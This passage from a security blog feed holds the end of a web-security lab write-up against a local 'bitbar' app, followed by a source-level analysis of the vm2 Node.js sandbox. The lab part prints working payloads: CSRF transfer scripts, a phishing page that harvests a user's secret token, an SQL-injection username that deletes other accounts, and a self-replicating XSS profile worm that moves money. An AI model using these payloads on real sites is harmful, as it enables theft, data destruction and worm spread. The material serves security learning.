&lt;pre&gt;&lt;code&gt;setTimeout(function(){window.location = &quot;http://baidu.com&quot;;}, 0.1);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;0.1s 后跳转到百度首页&lt;/p&gt;
&lt;p&gt;也可以使用 &lt;code&gt;xmlhttprequest&lt;/code&gt; ，一样的思路&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;
  &amp;lt;body&amp;gt;
    &amp;lt;script&amp;gt;
      var request = new XMLHttpRequest();
      request.open(&quot;POST&quot;, &quot;http://localhost:3000/post_transfer&quot;);
      request.setRequestHeader(&quot;Content-type&quot;,&quot;application/x-www-form-urlencoded&quot;);
      request.withCredentials = true;
      try {
        request.send(&quot;quantity=10&amp;amp;destination_username=attacker&quot;);
      } catch (err) {
        //
      } finally {
        window.location = &quot;http://baidu.com/&quot;;
      }
    &amp;lt;/script&amp;gt;
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Attack 4: Cross-site request forgery with user assistance&lt;/p&gt;
&lt;p&gt;由于 &lt;code&gt;http://localhost:3000/super_secure_transfer&lt;/code&gt; 转账的时候，表单带上了一个随机token，所以没办法通过 &lt;code&gt;CSRF&lt;/code&gt; 来转帐，只能通过钓鱼的办法，欺骗用户输入自己的 &lt;code&gt;Super Secret Token&lt;/code&gt;,这样我们就能绕过服务器的校验了&lt;/p&gt;
&lt;p&gt;&lt;code&gt;bp2.html&lt;/code&gt; 可以使用上一个的代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bp.html
&amp;lt;html&amp;gt;
  &amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;23333&amp;lt;/title&amp;gt;
  &amp;lt;/head&amp;gt;
  &amp;lt;body&amp;gt;
    &amp;lt;style type=&quot;text/css&quot;&amp;gt;
      iframe {
      width: 100%;
      height: 100%;
      border: none;
      }
    &amp;lt;/style&amp;gt;
    &amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;
    &amp;lt;iframe src=&quot;bp2.html&quot; scrolling=&quot;no&quot;&amp;gt;&amp;lt;/iframe&amp;gt;
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
bp2.html
&amp;lt;p&amp;gt;请输入 super_secure_post_transfer 页面下的 Super Secret Token 来证明你不是机器人&amp;lt;/p&amp;gt;

&amp;lt; input id=&quot;token&quot; type=&quot;text&quot; placeholder=&quot;Captcha&quot;&amp;gt;
&amp;lt;button onClick=&quot;gotEm()&quot;&amp;gt;Confirm&amp;lt;/button&amp;gt;

&amp;lt;script&amp;gt;
function gotEm() {
  var token = document.getElementById(&quot;token&quot;).value;
  var request = new XMLHttpRequest();
  request.open(&quot;POST&quot;, &quot;http://localhost:3000/super_secure_post_transfer&quot;, false);
  request.setRequestHeader(&quot;Content-type&quot;,&quot;application/x-www-form-urlencoded&quot;);
  request.withCredentials = true;
  try {
    request.send(&quot;quantity=10&amp;amp;destination_username=attacker&amp;amp;tokeninput=&quot; + token);
  } catch (err) {
    // Do nothing on inevitable XSS error
  } finally {
    window.top.location = &quot;http://baidu.com&quot;;
  }
}
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Attack 5: Little Bobby Tables (aka SQL Injection)&lt;/p&gt;
&lt;p&gt;删除用户的逻辑如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  def post_delete_user
    if not logged_in?
      render &quot;main/must_login&quot;
      return
    end

    @username = @logged_in_user.username
    User.destroy_all(&quot;username = &apos;{@username}&apos;&quot;)

    reset_session
    @logged_in_user = nil
    render &quot;user/delete_user_success&quot;
  end
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到输入的用户名没有经过任何的过滤直接拼接到了SQL语句中，我们看到后台执行的SQL语句
&amp;lt;!-- &lt;img src=&quot;./attachments/wKg0C17eB6GAQt_7AABxTqtdfuU516.png&quot; alt=&quot;1589676140899.png&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;如果我们的用户名中含有user3即可将user3删除&lt;/p&gt;
&lt;p&gt;那么如果我们注册用户&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;user3&apos; or username GLOB &apos;user3?*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拼接出来的SQL语句必然是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;delete from users where username = user3 or username GLOB &apos;user3?*&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;登陆&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/wKg0C17eB6uASSliAABDlHwGFLw307.png&quot; alt=&quot;1589676748910.png&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;删除&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/wKg0C17eB7GADWRwAABFWT3mxCQ627.png&quot; alt=&quot;1589676771789.png&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;此时可以看到后台执行的SQL语句&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/wKg0C17eB8CAIGktAAB3DQQ4jNg139.png&quot; alt=&quot;1589676794562.png&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;Attack 6: Profile Worm&lt;/p&gt;
&lt;p&gt;问题出在渲染用户的profile上面&lt;/p&gt;
&lt;p&gt;&lt;code&gt;profile.html.erb&lt;/code&gt; 中，渲染用户的 &lt;code&gt;profile&lt;/code&gt; 代码如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    &amp;lt;% if @user.profile and @user.profile != &quot;&quot; %&amp;gt;
        &amp;lt;div id=&quot;profile&quot;&amp;gt;&amp;lt;%= sanitize_profile(@user.profile) %&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;% end %&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;调用了函数 &lt;code&gt;sanitize_profile&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  def sanitize_profile(profile)
    return sanitize(profile, tags: %w(a br b h1 h2 h3 h4 i img li ol p strong table tr td th u ul em span), attributes: %w(id class href colspan rowspan src align valign))
  end
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中 &lt;code&gt;santitize&lt;/code&gt; 函数，通过 &lt;code&gt;tags&lt;/code&gt; 和 &lt;code&gt;attributes&lt;/code&gt; 可以指定允许的标签和属性白名单。&lt;/p&gt;
&lt;p&gt;然而属性中出现了 &lt;code&gt;href&lt;/code&gt;,这意味着我们可以使用JavaScript伪协议来XSS&lt;/p&gt;
&lt;p&gt;参考： https://ruby-china.org/topics/28760&lt;/p&gt;
&lt;p&gt;比如&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;strong id=&quot;bitbar_count&quot; class=&quot;javascript:alert(1)&quot;&amp;gt;&amp;lt;/strong&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;更新自己的 &lt;code&gt;profile&lt;/code&gt; 时，查看自己的profile，即可弹窗&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/wKg0C17eB86AWmIbAACXZKW-6aQ751.png&quot; alt=&quot;1589677835296.png&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;如果有用户浏览当前的profile，那么将会发生两个操作&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;转账操作&lt;/li&gt;
&lt;li&gt;更新用户的profile&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;转账操作的代码如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var request = new XMLHttpRequest();
request.open(&quot;POST&quot;, &quot;http://localhost:3000/post_transfer&quot;);
request.setRequestHeader(&quot;Content-type&quot;,&quot;application/x-www-form-urlencoded&quot;);
request.withCredentials = true;
try {
    request.send(&quot;quantity=1&amp;amp;destination_username=attacker&quot;);
} catch (err) {
//
} finally {
    //xxxx 带执行的操作
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;转帐完成之后，我们需要立即更新当前浏览用户的 &lt;code&gt;profile&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;设置 &lt;code&gt;profile&lt;/code&gt; 的数据包如下&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/wKg0C17eB9-AT0cfAAHcaEq3CJE250.png&quot; alt=&quot;1589678078348.png&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;只需要向路由 &lt;code&gt;/set_profile&lt;/code&gt; 发送请求即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;request = new XMLHttpRequest();
request.open(&quot;POST&quot;, &quot;http://localhost:3000/set_profile&quot;, true);
request.setRequestHeader(&quot;Content-type&quot;,&quot;application/x-www-form-urlencoded&quot;);
request.withCredentials = true;
request.send(&quot;new_profile=&quot;.concat(escape(document.getElementById(&apos;hax-wrap&apos;).outerHTML)));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;遇到的问题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;发送的数据含有html转移后的 &amp;amp; 符号。如图&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/wKg0C17eB-WASqizAAEtneJnXuY366.png&quot; alt=&quot;clipboard.png&quot; /&gt; --&amp;gt;
这里我采用的是 &lt;code&gt;String.fromCharCode()&lt;/code&gt; 来将其做一次转换&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;字符串拼接只能用 &lt;code&gt;concat&lt;/code&gt; 而不能用 &lt;code&gt;+&lt;/code&gt; ，因为 &lt;code&gt;+&lt;/code&gt; 号在 html 中是空格的意思&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;最后的代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;span id=&quot;wrap&quot;&amp;gt;
&amp;lt;span id=&quot;bitbar_count&quot; class=&quot;eval(document[&apos;getElementById&apos;](&apos;pxy&apos;)[&apos;innerHTML&apos;])&quot;&amp;gt;&amp;lt;/span&amp;gt;
&amp;lt;span id=&quot;pxy&quot;&amp;gt;
document.getElementById(&apos;pxy&apos;).style.display = &quot;none&quot;;
setTimeout(function(){

    var request = new XMLHttpRequest();
    request.open(&quot;POST&quot;, &quot;http://localhost:3000/post_transfer&quot;);
    request.setRequestHeader(&quot;Content-type&quot;,&quot;application/x-www-form-urlencoded&quot;);
    request.withCredentials = true;
    try {
        request.send(&quot;quantity=1&quot;.concat(String.fromCharCode(38)).concat(&quot;destination_username=attacker&quot;));
    } catch (err) {
    //
    } finally {
        request = new XMLHttpRequest();
        request.open(&quot;POST&quot;, &quot;http://localhost:3000/set_profile&quot;, true);
        request.setRequestHeader(&quot;Content-type&quot;,&quot;application/x-www-form-urlencoded&quot;);
        request.withCredentials = true;
        request.send(&quot;new_profile=&quot;.concat(escape(document.getElementById(&apos;wrap&apos;).outerHTML)));
    }

}, 0);
10;
&amp;lt;/span&amp;gt;
&amp;lt;p&amp;gt;233333&amp;lt;/p&amp;gt;
&amp;lt;/span&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ps: 也可以用 js 动态创建 form表单的方式，但是这样页面是会跳转的，无法满足&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在转账和profile的赋值过程中，浏览器的地址栏需要始终停留在http://localhost:3000/profile?username=x ，其中x是profile被浏览的用户名。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;附上js动态创建form表单的代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;span id=&quot;wrap&quot;&amp;gt;
&amp;lt;strong id=&quot;bitbar_count&quot; class=&quot;eval((document[&apos;getElementById&apos;](&apos;pxy&apos;).innerHTML))&quot;&amp;gt;&amp;lt;/strong&amp;gt;
&amp;lt;span id=&quot;pxy&quot;&amp;gt;
document.getElementById(&apos;pxy&apos;).style.display = &quot;none&quot;;
function makeForm(){
    var form = document.createElement(&quot;form&quot;);
    form.id = &quot;pay&quot;;
    
    document.body.appendChild(form);
    var input = document.createElement(&quot;input&quot;);
    input.type = &quot;text&quot;;

    input.name =  &quot;destination_username&quot;;
    input.value = &quot;attacker&quot;;
    input.type = &apos;hidden&apos;;

    form.appendChild(input);
    var input2 = document.createElement(&quot;input&quot;);
    input2.type = &quot;hidden&quot;;
    input2.name = &quot;quantity&quot;;
    input2.value = 10
    
    form.appendChild(input2);
    form.action = &quot;http://localhost:3000/post_transfer&quot;;
    form.method = &quot;POST&quot;;
    form.enctype = &quot;application/x-www-form-urlencode&quot;;
    form.submit();
}
makeForm();
request = new XMLHttpRequest();
request.open(&quot;POST&quot;, &quot;http://localhost:3000/set_profile&quot;, true);
request.setRequestHeader(&quot;Content-type&quot;,&quot;application/x-www-form-urlencoded&quot;);
request.withCredentials = true;
request.send(&quot;new_profile=&quot;.concat(escape(document.getElementById(&apos;wrap&apos;).outerHTML)));
&amp;lt;/span&amp;gt;
&amp;lt;/span&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>vm2实现原理分析</title><link>https://rayepeng.net/posts/vm2%E5%AE%9E%E7%8E%B0%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90/</link><guid isPermaLink="true">https://rayepeng.net/posts/vm2%E5%AE%9E%E7%8E%B0%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90/</guid><pubDate>Sat, 06 Jun 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;本文首发于安全客 &lt;a href=&quot;https://www.anquanke.com/post/id/207283&quot;&gt;https://www.anquanke.com/post/id/207283&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;vm2实现原理分析&lt;/h1&gt;
&lt;p&gt;前言：vm是nodejs实现的一个沙箱环境，但是官方文档并不推荐使用vm来运行不可信任的代码，vm2则是一个npm包，在vm的基础上，通过es6新增的代理机制，来拦截对外部属性的访问，那么这个沙箱是否安全呢？本文针对vm2的实现原理，从源码的层面进行分析，看vm2究竟做了些什么。&lt;/p&gt;
&lt;h2&gt;vm API&lt;/h2&gt;
&lt;p&gt;vm2是在vm的基础上实现的沙箱，所以内部调用的还是vm的API，在vm中运行一个沙箱环境：&lt;/p&gt;
&lt;p&gt;![](vm2实现原理分析/Sun, 31 May 2020 092059-1591428069572.png)&lt;/p&gt;
&lt;p&gt;相应的代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const vm = require(&apos;vm&apos;);

const context = {
  animal: &apos;cat&apos;,
  count: 2
};

const script = new vm.Script(&apos;count += 1; name = &quot;kitty&quot;;&apos;); //编译code

vm.createContext(context); // 创建一个上下文隔离对象
for (let i = 0; i &amp;lt; 10; ++i) {
  script.runInContext(context); // 在指定的下文里执行code并返回其结果
}

console.log(context);
// 打印: { animal: &apos;cat&apos;, count: 12, name: &apos;kitty&apos; }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将代码编译为 &lt;code&gt;script&lt;/code&gt;，然后创建一个上下文 &lt;code&gt;vm.createContext(context)&lt;/code&gt; ，最后我们将编译好的脚本放在一个上下文中运行 &lt;code&gt;script.runInContext&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;当然也可以不用那么麻烦，直接在沙箱中运行一段代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const vm = require(&quot;vm&quot;);
console.log(vm.runInNewContext(&quot;let a = 2;a&quot;)); //2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果不提供上下文变量，那么vm会自己创建一个隔离的上下文context。&lt;/p&gt;
&lt;p&gt;显而易见，vm中最关键的就是 上下文&lt;code&gt;context&lt;/code&gt; ，vm能逃逸出来的原理也就是因为 &lt;code&gt;context&lt;/code&gt; 并没有拦截针对外部的 &lt;code&gt;constructor&lt;/code&gt; 和 &lt;code&gt;__proto__&lt;/code&gt;等属性 的访问&lt;/p&gt;
&lt;h2&gt;vm2 API&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;vm2&lt;/code&gt;的代码包中主要有四个文件 &lt;code&gt;cli.js&lt;/code&gt;,&lt;code&gt;contextify.js&lt;/code&gt;,&lt;code&gt;main.js&lt;/code&gt; 和 &lt;code&gt;sandbox.js&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;cli.js&lt;/code&gt; 实现vm2的命令行调用&lt;/li&gt;
&lt;li&gt;&lt;code&gt;contextify.js&lt;/code&gt; 封装了三个对象， &lt;code&gt;Contextify&lt;/code&gt; 和 &lt;code&gt;Decontextify&lt;/code&gt; ，并且针对 global 的Buffer类进行了代理&lt;/li&gt;
&lt;li&gt;&lt;code&gt;main.js&lt;/code&gt; vm2执行的入口，导出了 &lt;code&gt;NodeVM&lt;/code&gt;, &lt;code&gt;VM&lt;/code&gt; 这两个沙箱环境，还有一个 &lt;code&gt;VMScript&lt;/code&gt; 实际上是封装了 &lt;code&gt;vm.Script&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sadbox.js&lt;/code&gt;针对 &lt;code&gt;global&lt;/code&gt; 的一些函数和变量进行了hook，比如 &lt;code&gt;setTimeout&lt;/code&gt;，&lt;code&gt;setInterval&lt;/code&gt; 等&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;vm2相比vm做了很大的改进，其中之一就是利用了es6新增的 proxy 特性，从而拦截对诸如 &lt;code&gt;constructor&lt;/code&gt; 和 &lt;code&gt;__proto__&lt;/code&gt; 这些属性的访问&lt;/p&gt;
&lt;p&gt;在vm2 中运行一段代码，如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const {VM, VMScript} = require(&quot;vm2&quot;);

const script = new VMScript(&quot;let a = 2;a&quot;);

console.log((new VM()).run(script));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中 VM 是vm2在vm的基础上封装的一个虚拟机，我们只需要实例化之后调用 &lt;code&gt;run&lt;/code&gt; 方法即可运行一段脚本。&lt;/p&gt;
&lt;h2&gt;vm2运行原理&lt;/h2&gt;
&lt;p&gt;vm2在运行代码的时候，会做如下事情，我们将上文的代码拆分开来。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const {VM, VMScript} = require(&quot;vm2&quot;);

const script = new VMScript(&quot;let a = 2;a&quot;);

let vm = new VM();

console.log(vm.run(script));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行的代码和vm2对应的实现：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/vm2-Page-2-1591428075172.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当我们创建一个VM的对象的时候，vm2内部引入了 &lt;code&gt;contextify.js&lt;/code&gt;，并且针对上下文 &lt;code&gt;context&lt;/code&gt; 进行了封装，最后调用 &lt;code&gt;script.runInContext(context)&lt;/code&gt; ，可以看到，vm2最核心的操作就在于针对&lt;code&gt;context&lt;/code&gt;的封装。&lt;/p&gt;
&lt;h2&gt;vm2 是如何封装上下文的&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;注：由于vm2出现过多次逃逸的问题，所以现有的代码进行了大量的修改，为了方便分析vm2的实现原理，需要clone源码并且回退到 7ecabb1 使用 &lt;code&gt;git reset --hard 7ecabb1&lt;/code&gt; 即可回退&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我们看到，vm2 引入了 &lt;code&gt;contextify.js&lt;/code&gt; ，将 &lt;code&gt;vm.createContext&lt;/code&gt;创建的上下文作为参数传入。&lt;/p&gt;
&lt;p&gt;其中引入 &lt;code&gt;contextify.js&lt;/code&gt; 的代码比较独特，是调用vm的API将 &lt;code&gt;contextify.js&lt;/code&gt; 封装为一个匿名函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Reflect.defineProperty(this, &apos;_internal&apos;, {
	value: vm.runInContext(`(function(require, host) { ${cf} \n})`, this._context, {
		filename: `${__dirname}/contextify.js`,
		displayErrors: false
	}).call(this._context, require, host)
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;host&lt;/code&gt; 传入需要用的一些对象&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const host={version:parseInt(process.versions.node.split(&apos;.&apos;)[0]),console,String,Number,Buffer,Boolean,Array,Date,Error,RangeError,ReferenceError,SyntaxError,TypeError,RegExp,Function,Object,VMError,Proxy,Reflect,Map,WeakMap,Set,WeakSet,Promise};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么vm2中的 &lt;code&gt;contextify.js&lt;/code&gt; 究竟做了什么呢？&lt;/p&gt;
&lt;p&gt;最开始定义了一些常量，并且在global和this上添加了相应的属性&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// eslint-disable-next-line no-invalid-this, no-shadow
const global = this;

// global is originally prototype of host.Object so it can be used to climb up from the sandbox.
Object.setPrototypeOf(global, Object.prototype);

Object.defineProperties(global, {
	global: {value: global},
	GLOBAL: {value: global},
	root: {value: global},
	isVM: {value: true}
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于是在函数体外部写了 return 语句，所以webstrom报错，但是实际上这段代码是会被封装到函数中的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function(host, require){...}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/image-20200530152550918-1591428078972.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Contextify&lt;/code&gt; 和 &lt;code&gt;Decontextify&lt;/code&gt; 都是两个 &lt;code&gt;WeakMap&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const Contextified = new host.WeakMap();
const Decontextified = new host.WeakMap();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;WeakMap 是 es6 新增的语法，只接受对象作为键名，并且这些对象是不会被计入垃圾回收机制的，这是为了防止内存泄漏。稍后将会看到，这是用来存储已经被代理过的对象的。&lt;/p&gt;
&lt;p&gt;我们看下第512行， &lt;code&gt;Contextify.readonly&lt;/code&gt; 做了些什么&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const LocalBuffer = global.Buffer = Contextify.readonly(host.Buffer, {
	allocUnsafe: function allocUnsafe(size) {
		return this.alloc(size);
	},
	allocUnsafeSlow: function allocUnsafeSlow(size) {
		return this.alloc(size);
	}
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;函数调用图如下：&lt;/p&gt;
&lt;p&gt;![](vm2实现原理分析/vm2-Page-3 (1)-1591428083714.png)&lt;/p&gt;
&lt;p&gt;你可能会很好奇，为什么需要调用这么多层方法，最后返回的又是一个什么呢？&lt;/p&gt;
&lt;p&gt;我们先来看最后一个调用的方法 &lt;code&gt;Contextify.object&lt;/code&gt;,从这里可以很清楚地看到，最后返回了一个代理对象，并且其中还做了一个 &lt;code&gt;Object.assign&lt;/code&gt; 的操作&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/image-20200531094815527-1591428086001.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Object.assign&lt;/code&gt; 方法用于将所有可枚举属性的值从一个或多个源对象复制到目标对象。它将返回目标对象。&lt;/p&gt;
&lt;p&gt;比如&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const target = { a: 1, b: 2 };
const source = { b: 4, c: 5 };

const returnedTarget = Object.assign(target, source); // Object { a: 1, b: 4, c: 5 }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说 &lt;code&gt;source&lt;/code&gt; 的b 会覆盖掉 target的 &lt;code&gt;b&lt;/code&gt; 了&lt;/p&gt;
&lt;p&gt;那么在上图的操作中， &lt;code&gt;deepTraps &amp;gt; traps &amp;gt; {get:..., set: ...}&lt;/code&gt; (大于符号代表会覆盖)&lt;/p&gt;
&lt;p&gt;那么我们来看下此时的 &lt;code&gt;deepTraps&lt;/code&gt; 是什么&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/image-20200530154835380-1591428091360.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;你会发现， &lt;code&gt;set, setPrototypeOf ..&lt;/code&gt; 这些方法的返回值都是 false，也就是说当你去调用 &lt;code&gt;Buffer.a = 1&lt;/code&gt; 的时候(会被代理的set方法拦截)，是无法成功的&lt;/p&gt;
&lt;p&gt;那么此时的 &lt;code&gt;traps&lt;/code&gt; 呢&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/image-20200530155017652-1591428100387.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这些方法倒是并不会返回false，但是也会在合并的时候，覆盖掉前一个对象的 &lt;code&gt;get和getPrototypeOf&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;那至于之前调用的那么多方法，只是为了区分这个对象是哪种类型的，从而给它加上不同的 &lt;code&gt;deepTraps&lt;/code&gt; ，到最后一个 &lt;code&gt;Contextify.object&lt;/code&gt; 方法调用的时候，将它们合并。&lt;/p&gt;
&lt;p&gt;最终，我们得到了这样一个 &lt;code&gt;Buffer&lt;/code&gt; 代理对象，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/image-20200530155404796-1591428103202.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这个 &lt;code&gt;Buffer&lt;/code&gt; 代理拦截了如下操作&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/image-20200530155454090-1591428105637.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;实际上这个 &lt;code&gt;Buffer&lt;/code&gt; 本身还是nodesj提供的，但是vm2加了一层代理，所以在vm2的沙箱中访问它的属性时就会被设定的方法拦截&lt;/p&gt;
&lt;p&gt;除此之外，&lt;code&gt;Contextify.object&lt;/code&gt; 内部还使用了 &lt;code&gt;WeakMap&lt;/code&gt; 来存储已经代理过的对象和对象的代理。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/image-20200530154336238-1591428108013.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;所以在vm2的沙箱环境中，如果是内部的对象，由于vm的实现机制保证了内部定义的对象无法逃逸。如果是外部引入的对象，由于vm2提供的代理机制拦截了 &lt;code&gt;constructor&lt;/code&gt; 等属性的访问，从而在很大程度上保证了这个沙箱是安全的。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/image-20200531094815527-1591428110937.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;代码举例&lt;/h2&gt;
&lt;p&gt;为了更深入的了解vm2，我们来调试一段代码&lt;/p&gt;
&lt;p&gt;测试方法,在 &lt;code&gt;main.js&lt;/code&gt; 中编写如下代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const {VM, VMScript} = require(&apos;vm2&apos;);
const fs = require(&apos;fs&apos;);
const file = `${__dirname}/sandbox.js`;

// By providing a file name as second argument you enable breakpoints
const script = new VMScript(fs.readFileSync(file), file);

console.log(new VM().run(script));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后在 &lt;code&gt;sandbox.js&lt;/code&gt; 中编写&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let a = Buffer.from(&quot;&quot;); //访问Buffer的from属性并调用
a.i = () =&amp;gt; {}; //给对象添加属性
console.log(a.i); //访问对象的属性
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样可以在 &lt;code&gt;sandbox.js&lt;/code&gt; 中下断点，方便调试运行在沙箱中的代码&lt;/p&gt;
&lt;p&gt;前面已经提到 &lt;code&gt;Buffer&lt;/code&gt; 是一个代理对象，访问其所有属性都会被拦截&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/image-20200601145937093-1591428121092.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其调用过程如下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/vm2-Page-4-1591428124235.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们看到，&lt;code&gt;Buffer&lt;/code&gt; 代理对象访问其 &lt;code&gt;from&lt;/code&gt; 属性，被代理的 &lt;code&gt;get&lt;/code&gt; 方法拦截，经过层层的调用，最终返回一个函数代理对象&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/t0112683473174f27fe-1591428127103.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后调用这个函数，就会被 &lt;code&gt;apply&lt;/code&gt; 捕获到，拦截的方法如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apply: (target, context, args) =&amp;gt; {
    try {
        context = Decontextify.value(context);

        // Set context of all arguments to host&apos;s context.
        return Contextify.value(fnc.apply(context, Decontextify.arguments(args)));
    } catch (e) {
        throw Contextify.value(e);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;调用过程如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/vm2-Page-5-1591428129741.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;按照proxy的规范，target就是未代理之前的函数，context是函数当前运行的上下文，这里是 &lt;code&gt;Buffer&lt;/code&gt; 的代理，args是函数的参数，这里是 &lt;code&gt;&quot;&quot;&lt;/code&gt;&lt;/p&gt;
